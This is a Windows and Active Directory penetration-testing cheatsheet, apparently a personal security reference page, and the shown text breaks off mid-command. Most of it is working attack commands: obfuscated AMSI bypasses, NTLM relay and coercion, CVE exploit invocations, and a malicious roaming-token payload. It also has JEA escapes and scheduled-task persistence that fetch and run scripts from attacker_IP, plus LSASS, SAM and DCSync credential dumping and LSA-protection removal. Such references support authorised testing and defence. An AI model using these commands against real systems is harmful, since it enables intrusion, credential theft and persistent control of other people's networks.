Microsoft Different cheatsheets useful in Windows and Active Directory environment Active Directory This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_. I will try to put as many links as possible at the end of the page to direct to more complete resources. Misc Internal audit mindmap Insane mindmap by @M4yFly. Bypass AMSI #Downgrade PowerShell powershell -v 2 -c "<...>" #Classic sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) #Base64 [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) #Force AMSI error $w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static') $field.SetValue($null,$true) #On PowerShell 6 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true) Create PowerShell credentials $pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $pass) Decipher Secure-String With the corresponding AES key $aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159) $secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey $decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject) $decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted) $decrypted Bypass execution policy #By spawning a new PowerShell session in the current one powershell -nop -exec bypass #By disabling the execution policy in the registry Set-ExecutionPolicy -ExecutionPolicy bypass -Scope LocalMachine -Force #Load a PowerShell module without confirmation prompt Import-Module ./evil.psm1 -Force Execution context / AppLocker AppLocker #Get AppLocker policy Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections By default, C:\Windows is not blocked, and C:\Windows\Tasks is writeable by any users. Bypass Constrained Language Mode Import BypassCLM.exe and Mono.Options.dll in a directory where the AppLocker policy authorize the execution, then #Get language mode $ExecutionContext.SessionState.LanguageMode #To bypass with PowerShell 6 pwsh .\BypassCLM.exe -c "iex (new-object net.webclient).downloadstring('http://192.168.50.44/Invoke-HelloWorld.ps1')" Port forwarding We can contact a machine, and this one can contact another machine, but we can't contact the second machine directly from our primary machine On the "central" machine, all the hit on the port 80 or 4545 will be forward to the connectaddress on the specified port : #Forward the port 4545 for the reverse shell, and the 80 for the http server for example netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545 netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80 #Correctly open the port on the machine netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545 netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545 Run domain commands from a non domain joined computer runas /netonly /user:DOMAIN\User1 cmd.exe Initial Access What to do when you are plugged on the network without creds. NTLM authentication capture on the wire with Responder or Inveigh poisoning, maybe in NTLMv1 ? Relay the NTLM authentications to interesting endpoints, be careful to the signing SMB socks to list/read/write the shares LDAP to dump the directory LDAPS (or maybe SMB if signing not required) to add a computer account ... ARP poisoning with bettercap, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found here. By sniffing everything on the wire with Wireshark, some secrets can be found with PCredz. First, run bettercap with this config file: # quick recon of the network net.probe on # set the ARP poisoning set arp.spoof.targets set arp.spoof.internal true set arp.spoof.fullduplex true # control logging and verbosity events.ignore endpoint events.ignore net.sniff.mdns # start the modules arp.spoof on net.sniff on sudo ./bettercap --iface --caplet spoof.cap Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets: python3 ./Pcredz -f extract.pcap Poison the DHCPv6 answer to receive NTLM or Kerberos authentication NTLM auths can be relayed with ntlmrelayx Kerberos auths can be relayed with krbrelayx to HTTP endpoints (ADCS, SCCM AdminService API) Search for a domain account Look for SMB Guest and null session, and LDAP null bind Perform RID cycling (look at the Active Directory - Python edition cheatsheet) With SMB login bruteforce With Kerbrute bruteforce Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over smb_login is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts! ./kerbrute userenum -domain domain.local users.txt Test for the Top1000 with login = password Possible other passwords: (empty) password P@ssw0rd Look for juicy CVEs Search for devices like printers, routers, or similar stuff with default creds In case a printer (or something similar) has an LDAP account, but use the SASL authentication family instead of SIMPLE, the classic LDAP passback exploitation with a nc server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak PLAIN and LOGIN protocols. This Docker permits to operate with weak protocols. docker buildx build -t ldap-passback . docker run --rm -ti -p 389:389 ldap-passback In parallel, listen with tshark: tshark -i any -f "port 389" \ -Y "ldap.protocolOp == 0 && ldap.simple" \ -e ldap.name -e ldap.simple -Tjson CVEs AD oriented CVE-2025-33073 - NTLM Reflective relay Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced to relay from SMB to SMB. If services such as WinRM/S, MSSQL, or HTTP/S are active on the machine (Windows Servers or ADCS PKI, for example), relaying is still possible, even with signing or EPA enabled! Only a complete patch truly blocks it. The only exceptions are LDAPS and RPC. #Check if a computer is vulnerable nxc smb -u user1 -p password -M ntlm_reflection #Setup DNS dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d # Or, to target any computer dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d #Coerce PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL #Chose the service to relay ntlmrelayx.py -t -smb2support -socks ntlmrelayx.py -t mssql:// -smb2support -socks ntlmrelayx.py -t winrms:// -smb2support -socks SPNEGO RCE (CVE-2022-37958) - No public POC for the moment PetitPotam pre-auth (CVE-2022-26925) If the target is not patched, this CVE can be exploited without creds. ./PetitPotam.exe -pipe all NoPac (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287) To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one. #Scan for the vuln .\noPac.exe scan -domain domain.local -user user1 -pass 'password' #Exploit it and retrieve a ST for the DC .\noPac.exe -domain domain.local -user user1 -pass 'password' /dc dcVuln.domain.local /mAccount evilComputer /mPassword 'evilPass!' /service cifs /ptt PrintNightmare (CVE-2021-1675 / CVE-2021-34527) #Load and execute a DLL hosted on a SMB server on the attacker machine ./SharpPrintNightmare.exe '\\\smb\addUser.dll' '\\' Zerologon (CVE-2020-1472) The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link. EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708) The exploits in the Metasploit framework are good for these two CVEs. #EternalBlue msf6 exploit(windows/smb/ms17_010_psexec) > #Blue Keep msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > SMBGhost (CVE-2020-0796) Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE. msf6 exploit(windows/smb/cve_2020_0796_smbghost) > RC4-MD4 downgrade (CVE-2022-33679) To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target. ./CVE-2022-33079.py -dc-ip domain.local/ Credentials Roaming (CVE-2022-30170) # Fetch current user object $user = get-aduser -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp') # Install malicious Roaming Token (spawns calc.exe) $malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865" $attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)" Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose # Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed $new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]] Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose Bronze Bit (CVE-2020-17049) To exploit this CVE, a controlled service account with constrained delegation to the target account is needed. ./Rubeus.exe s4u /bronzebit /user: /rc4: /dc:dc.domain.local /impersonateuser:Administrator /domain:domain.local /altservice:cifs/target.domain.local /nowrap MS14-068 goldenPac.py 'domain.local'/'user1':'password'@ Targeting Exchange server ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065) The exploits in the Metasploit framework are good for these three CVEs. msf6 exploit(windows/http/exchange_proxynotshell_rce) > msf6 exploit(windows/http/exchange_proxyshell_rce) > msf6 exploit(windows/http/exchange_proxylogon_rce) > CVE-2023-23397 This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a .msg file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target. python3.exe CVE-2023-23397.py --path '\\\' Before sending the email, run Inveigh to intercept the NTLM hash. For local privesc CVE-2022-41057 KrbRelayUp SpoolFool (CVE-2022-21999) ./SpoolFool.exe -dll adUser.dll #In PowerShell Import-Module .\SpoolFool.ps1 Invoke-SpoolFool -dll adUser.dll PrintNightmare (CVE-2021-1675 / CVE-2021-34527) ./SharpPrintNightmare.exe ./adUser.dll HiveNightmare (CVE-2021-36934) ./Invoke-HiveNightmare.ps1 -path ./HiveDumps Domain Enumeration Domain objects Current domain #PowerView Get-NetDomain #AD Module Get-ADDomain #Domain SID Get-DomainSID (Get-ADDomain).DomainSID #Domain policy (Get-DomainPolicy)."system access" Another domain #PowerView Get-NetDomain -Domain domain.local #AD Module Get-ADDomain -Identity domain.local Domain controller Current domain #PowerView Get-NetDomainController #AD Module Get-ADDomainController Get-NetDomainController -Domain domain.local Get-ADDomainController -DomainName domain.local -Discover Users enumeration List users #PowerView Get-NetUser Get-NetUser -Identity user1 #AD Module Get-ADUser -Filter * -Properties * Get-ADUser -Identity user1 -Properties * User's properties #AD Module Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}} Search for a particular string in attributes Find-UserField -SearchField Description -SearchTerm "password" Get-ADUser -Filter 'Description -like "*password*"' -Properties Description | select name,Description Actively logged users on a machine Needs local admin rights on the target Get-NetLoggedon -ComputerName Locally logged users on a machine Needs remote registry on the target - started by-default on server OS Get-LoggedonLocal -ComputerName Last logged user on a machine Needs administrative rights and remote registry on the target Get-LastLoggedOn -ComputerName User hunting Find machine where the user has admin privs Find-LocalAdminAccess -Verbose If the RPC or SMB ports are blocked, see Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1 to use WMI or PowerShell Remoting Find local admins on the domain machines Invoke-EnumerateLocalAdmin -Verbose Find machines where specific users or groups have sessions Invoke-UserHunter #Admins Invoke-UserHunter -GroupName "" Check local admin access for the current user where the targets are found Invoke-UserHunter -CheckAccess Computers enumeration #PowerView Get-NetComputer Get-NetComputer -OperatingSystem "*Server 2016*" Get-NetComputer -FullData #AD Module Get-ADComputer -Filter * | select Name Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -ComputerName $_.DNSHostName} Get-ADComputer -Filter * -Properties * Groups enumeration Groups in the current domain #PowerView Get-NetGroup Get-NetGroup -FullData #AD Module Get-ADGroup -Filter * | select Name Get-ADGroup -Filter * -Properties * Search for a particular string in attributes #PowerView Get-NetGroup *admin* #AD Module Get-ADGroup -Filter 'Name -like "*admin*"' | select Name All users in a specific group #PowerView Get-NetGroupMember -GroupName "" -Recurse #AD Module Get-ADGroupMember -Identity "" -Recursive All groups of an user #PowerView Get-NetGroup -MemberIdentity "user1" #AD Module Get-ADPrincipalGroupMembership -Identity "user1" Local groups enumeration Get-NetLocalGroup -ComputerName -ListGroups Members of local groups Get-NetLocalGroup -ComputerName -Recurse Shares / Files Find shares on the domain Invoke-ShareFinder -Verbose Sensitive files on the domain Invoke-FileFinder -Verbose Invoke-FileFinder -Verbose -Include "*pass*" Or with Snaffler snaffler.exe -s - snaffler.log ... (: #Snaffle all the computers in the domain ./Snaffler.exe -d domain.local -c -s #Send the result to a file ./Snaffler.exe -d domain.local -c -o res.log #Snaffle specific computers ./Snaffler.exe -n computer1,computer2 -s #Snaffle a specific directory ./Snaffler.exe -i C:\ -s Find all fileservers of the domain Get-NetFileServer GPO enumeration List of GPO in the domain #PowerView Get-NetGPO #GPOs applied to a computer Get-NetGPO -ComputerName #AD Module Get-GPO -All #(GroupPolicy module) Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html #(Provides RSoP) Get GPO that modify local group via Restricted Groups Get-NetGPOGroup Users which are in a local group of a machine using GPOs Find-GPOComputerAdmin -Computername Machine where an user is member of a local group using GPOs Find-GPOLocation -Identity user1 -Verbose More advanced GPO enumeration techniques, allowing BloodHound ingestion, are presented in the Active Directory - Python edition cheatsheet. Organisation Units OUs of the domain Get-NetOU -FullData Get-ADOrganizationalUnit -Filter * -Properties * Computers within an OU Get-NetComputer | ? { $_.DistinguishedName -match "OU=" } | select DnsHostName GPO applied on an OU / Read GPO from the GP-Link attribut from Get-NetOU Get-NetGPO -GPOname "{}" Get-GPO -Guid #(GroupPolicy module) DACLs All ACLs associated to an object (inbound) Get-ObjectAcl -Identity user1 -ResolveGUIDs (Get-ObjectAcl | Where-Object {$_.ObjectSid -match ""}) Outbound ACLs of an object These are the rights the object has in the AD Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match ""} Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match "user1"} ACLs associated to a specific path Get-PathAcl -Path "\\dc.domain.local\sysvol" Trusts Map trusts Invoke-MapDomainTrust Domain trusts for the current domain #PowerView Get-NetDomainTrust #Find potential external trust #AD Module Get-ADTrust Forest Details about the current forest #PowerView Get-NetForest Get-NetForest -Forest domain.local #AD Module Get-ADForest Get-ADForest -Identity domain.local All domains in the current forest #PowerView Get-NetForestDomain Get-NetForestDomain -Forest domain.local #AD Module (Get-ADForest).Domains Global catalogs of the current forest #PowerView Get-NetForestCatalog Get-NetForestCatalog -Forest domain.local #AD Module Get-ADForest | select -ExpandProperty GlobalCatalogs Forest trusts #PowerView Get-NetForestTrust Get-NetForestTrust -Forest domain.local #AD Module Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"' BloodHound / SharpHound / SOAPHound Basic usage # Default collection SharpHound.exe # All collection excepted GPOLocalGroup with all string properties SharpHound.exe --CollectionMethod All --CollectAllProperties #Only collect from the DC, doesn't query the computers (more stealthy) SharpHound.exe --CollectionMethod DCOnly #Only collect user sessions and LocalGroup from computers, not the DC SharpHound.exe --CollectionMethod ComputerOnly Stealth usage #Stealth collection soutions SharpHound.exe --CollectionMethod ComputerOnly --Stealth SharpHound.exe --ExcludeDomainControllers #Encrypt the output archive with a random password SharpHound.exe --EncryptZip Loop collection Useful for user session collection for example. SharpHound will run the collection regularly and output a new zip file after each loop. #It will loop during 2h by default SharpHound.exe --CollectionMethod Session --Loop #Loop during 5h SharpHound.exe --CollectionMethod Session --Loop --Loopduration 05:00:00 From a non domain joined computer Configure the DNS of the machine to be the DC Spawn a shell as a domain user Verify you’ve got valid domain authentiation by using the net binary Run SharpHound, using the -d flag to specify the AD domain you want to collect information from. You can also use any other flags you wish. runas /netonly /user:DOMAIN\User1 cmd.exe net view \\domain\ SharpHound.exe -d domain.local Interesting Neo4j queries Users with SPNs MATCH (u:User {hasspn:true}) RETURN u AS-REP Roastable users MATCH (u:User {dontrepreauth:true}) RETURN u Computers AllowedToDelegate to other computers MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p Shortest path from Kerberoastable user MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p Computers in Unconstrained Delegations MATCH (c:Computer {unconsraineddelegation:true}) RETURN c Rights against GPOs MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p Potential SQL Admins MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p LAPS Machine with LAPS enabled MATCH (c:Computer {haslaps:true}) RETURN c Users with read LAPS rights against "LAPS machines" MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p SOAPHound A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. #Build cache SOAPHound.exe --showstats -c c:\temp\cache.txt #Collect data SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output #For larger domain, if timeout errors are encountered SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 1000 #Collect ADCS data SOAPHound.exe -c c:\temp\cache.txt --certdump -o c:\temp\bloodhound-output #Dump ADIDNS data SOAPHound.exe --dnsdump -o c:\temp\dns-output MSSQLHound The MSSQLHound tool allows you to map MSSQL databases on the network, as well as the links between them and the rights to them. The output can then be ingested into BloodHound CE. MSSQLHound.ps1 -OutputFormat BloodHound -UserID user1 -Password password -Domain domain.local -DomainController -InstallADModule On -MakeInterestingEdgesTraversable On AD Miner AD Miner is another solution to display BloodHound data into a web based GUI. It is usefull for its Smartest paths feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a ExecuteDCOM edge). Local Privesc PowerUp #All checks Invoke-AllChecks #Get services with unquoted paths and a space in their name. Get-UnquotedService -Verbose #Get services where the current user can write to its binary path or change arguments to the binary Get-ModifiableServiceFile -Verbose #Get the services whose configuration current user can modify. Get-ModifiableService -Verbose #DLL Hijacking Find-ProcessDLLHijack Find-PathDLLHijack Other enumeration tools #PrivescCheck: https://github.com/itm4n/PrivescCheck . .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended .\beRoot.exe .\winPEAS.exe .\Seatbelt.exe -group=all -full #Privesc: https://github.com/enjoiz/Privesc Invoke-PrivEsc Always Install Elevated run msiexec /i BeaconInstaller.msi /q /n Impersonation attacks / Potatoes Full article here KrbRelayUp With RBCD ./KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount -ComputerName test$ -ComputerPassword Password123! ./KrbRelayUp.exe spawn -d domain.local -cn test$ -cp Password123! With ShadowCreds ./KrbRelayUp.exe full -m shadowcred --ForceShadowCred With ADCS ./KrbRelayUp.exe full -m adcs DavRelayUp Similar to KrbRelayUp, but relay from WebDAV to LDAP. #Create a new computer account to perform RBCD ./DavRelayUp.exe -c #Use an existing computer account ./DavRelayUp.exe -cn -cp #Impersonate another local user than Administrator ./DavRelayUp.exe -c -i user1 #Start WebDAV on another port than the default 55555 ./DavRelayUp.exe -c -p 1234 Massive local privesc cheatsheet PayloadAllTheThings Escape JEA Abuse an allowed function #Look at allowed functions Get-Command #Look at the function code (Get-Command ).Definition #Or gcm -show For example if it is possible to control the $param parameter here $ExecutionContext.InvokeCommand.ExpandString($param), it is possible to execute some code by passing this as argument : '$(powershell.exe -c "iEx (New-Object System.Net.WebClient).DownloadString(''http://attacker_IP/Invoke-HelloWorld.ps1'')")' Function creation If the JEA allowed to create a new function it can be abused Invoke-Command -Session $sess -ScriptBlock {function blackwasp {iex (new-object net.webclient).downloadstring('http://attacker_IP/Invoke-HelloWorld.ps1')}} Invoke-Command -Session $sess -ScriptBlock {blackwasp} With another WinrRM client Sometimes this WinRM in Python can bypass the JEA import winrm s = winrm.Session('target_IP', auth=('administrator', 'password')) r = s.run_cmd('powershell -c "IEX((New-Object System.Net.WebClient).DownloadString(\'http://attacker_IP/Invoke-HelloWorld.ps1\'))"') print r.status_code print r.std_out print r.std_err Local Persistence SharPersist SharPersist.exe can be used for local persistence on a workstation. Common userland persistences: HKCU / HKLM Registry Autoruns Scheduled Tasks Startup Folder #Convert command to execute to base64 $str = 'IEX ((new-object net.webclient).downloadstring("http://attacker_ip/a"))' [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str)) #Via scheduled task .\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc " -n "Updater" -m add -o hourly #Via startup folder .\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc " -f "UserEnvSetup" -m add #Via registry key, first create a .exe beacon named updater.exe, then .\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add LAPS persistence To prevent a machine to update its LAPS password, it is possible to set the update date in the futur. Set-DomainObject -Identity -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"} JEA persistence Allows every commands to a user on a machine. Set-JEAPermissions -ComputerName dc -SamAccountName user1 -Verbose Enter-PSSession -ComputerName dc -ConfigurationName microsoft.powershell64 Lateral Movement PowerShell remoting From one computer to other ones $sess = New-PSSession -ComputerName Enter-PSSession -Session $sess #Provide PS credentials New-PSSession -Credential $cred #To many computers Invoke-Command -Credential $cred -ComputerName (Get-Content ./listServers.txt) Execute scripts #Script block Invoke-Command -Scriptblock {Get-Process} -ComputerName Server01, Server02 #Script from file Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -ComputerName Server01 Execute locally loaded function to remote Can be usefull to bypass some restricions Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01, Server02 #With arguments Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01 -ArgumentList DumpCreds Item copy Copy-Item -ToSession $sess -Path -Destination Scheduled task creation Create a scheduled task on a remote machine, with sufficient rights #Creation schtasks /create /S .domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http:///Invoke-PowerShellTcp.ps1''')'" #Task execution schtasks /Run /S .domain.local /TN "STCheck" Credentials gathering / Mimikatz Dump creds #Dump LSASS credentials on a local machine Invoke-Mimikatz -DumpCreds Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"' procdump.exe -accepteula -ma lsass.dmp #Dump SAM and LSA reg save HKLM\SAM "C:\Windows\Temp\sam.save" reg save HKLM\SECURITY "C:\Windows\Temp\security.save" reg save HKLM\SYSTEM "C:\Windows\Temp\system.save" Invoke-Mimikatz -Command '"lsadump::sam"' Invoke-Mimikatz -Command '"lsadump::secrets"' #Dump LSA in a PDF with LSA_reg2pdf #Exec get_pdf, and get_bootkey on your host to parse the PDF .\get_pdf.exe 1 python3.exe get_bootkey.py #Dump credentials on multiple remote machines Invoke-Mimikatz -DumpCreds -ComputerName @("Server01","Server02") #Make a DCSync attack on all the users Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all"' #Retrieve NT hashes via Key List Attack on a RODC #First, forge a RODC Golden Ticket .\Rubeus.exe golden /rodcNumber: /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256: /user:user1 /id: /domain:domain.local /sid: #Then, request a ST and retrieve the NT hash in the TGS-REP .\Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi /service:krbtgt/domain.local #Certsync - retrieve the NT hashes of all the users with PKINIT #Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users #Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash certsync -u administrator -p 'password' -d domain.local -dc-ip #Provide the CA .pfx if it has been obtained with another way certsync -u administrator -p 'password' -d domain.local -dc-ip -ca-pfx CA.pfx Many techniques to dump LSASS : https://redteamrecipe.com/50-Methods-For-Dump-LSASS/ Credentials Vault & DPAPI Credential manager blobs are stored in C:\Users\\AppData\Local\Microsoft\Credentials List with Mimikatz: Invoke-Mimikatz -Command '"vault::list"' To decrypt the creds, the DPAPI master encryption key must be retrieved. The key GUID can be retrieved with Mimikatz (the filed guidMasterKey is the one): Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\"' The GUID can be used to retrieve the key on the DC via a RPC call by providing the full path: Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\\AppData\Roaming\Microsoft\Protect\\ /rpc"' Now it possible to decipher the creds with the key: Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\ /masterkey:"' SharpDPAPI is also a pretty good tool for DPAPI operations. Here in an elevated context to decrypt machine credential files and vaults: .\SharpDPAPI.exe machinecredentials .\SharpDPAPI.exe machinevaults Or here, to decrypt user's master keys with a domain backup key, and use them to decipher credential files: .\SharpDPAPI.exe masterkeys /pvk:key.pvk .\SharpDPAPI.exe credentials {}: {}: Lazagne To retrieve maximum creds. ./lazagne.exe all Credentials in third party softwares Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on. The more complete ThievingFox approach is presented in the Active Directory - Python edition cheatsheet. #KeePass with KeeThief Import-Module KeeThief.ps1 Get-KeePassDatabaseKey -Verbose #RDP creds with Mimikatz #Client side Invoke-Mimikatz -Command '"ts::mstsc"' #Server side Invoke-Mimikatz -Command '"ts::logonpasswords"' #Credentials in Veeam database ./SharpVeeamDecryptor.exe Force a NTLM authentication from a connected user This attack weaponize DCOM objects to perform actions on behalf of an interactively connected user. Can be mixed with the NTLM downgrade or WebClient attacks to obtain NTLMv1 or HTTP authentication. Explains here. Add Interactive User to the AppID of the DCOM object with Remote Registry Start the WebClient service, or change the HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel registry key to allow NTLMv1 #With ServerDataCollectorSet $a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("03837546-098B-11D8-9414-505054503030", "")) $a.DataManager.Extract("\\\share\test.txt", "xforcered") #With FileSystemImage $a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("2C941FC5-975B-59BE-A960-9A2A262853A5", "")) $a.WorkingDirectory = "\\\share\test.txt" #With UpdateSession, this one only trigger the machine account authentication $a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("4CB43D7F-7EEE-4906-8698-60DA1C38F2FE")) $a.CreateUpdateServiceManager().AddScanPackageService("XFORCERED","\\\share\test.txt") Bypass RunAsPPL Check if RunAsPPL is enabled in the registry. Look at HKLM\SYSTEM\CurrentControlSet\Control\Lsa mimikatz # privilege::debug mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # misc::skeleton mimikatz # !- If Mimikatz can't be used, PPLKiller is an alternative ./PPLKiller.exe /installDriver ./PPLKiller.exe /disableLSAProtection ./PPLKiller.exe /uninstallDriver And more recently, PPLmedic ./PPLmedic.exe dump Pass the Challenge This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This modified version of Pypykatz must be used to parse the LDAP dump. Full explains here. NTLMv1 #Dump the LSASS process with Mimikatz for example #Parse the dump with Pypykatz python3 -m pypykatz lsa minidump lsass.DMP -p msv #Inject the SecurityPackage.dll into the LSASS process ./PassTheChallenge.exe inject ./SecurityPackage.dll #Retrieve the NTLMv1 hash ./PassTheChallenge.exe nthash : #Crack the NTLMv1 hash on crack.sh to retrieve the NT hash NTLMv2 In case where only NTLMv2 is allowed, it will not be possible to crack the NTLM hash, but it is possible to pass the challenge and provide the response. It is possible to perform this attack with this modified version of Impacket. First, as above: #Dump the LSASS process with Mimikatz for example #Parse the dump with Pypykatz python3 -m pypykatz lsa minidump lsass.DMP -p msv #Inject the SecurityPackage.dll into the LSASS process ./PassTheChallenge.exe inject ./SecurityPackage.dll Then, authenticate with an Impacket tool specifying CHALLENGE as password, provide the printed challenge to PassTheChallenge, and send the computed response to Impacket: #Authenticate with CHALLENGE as password psexec.py 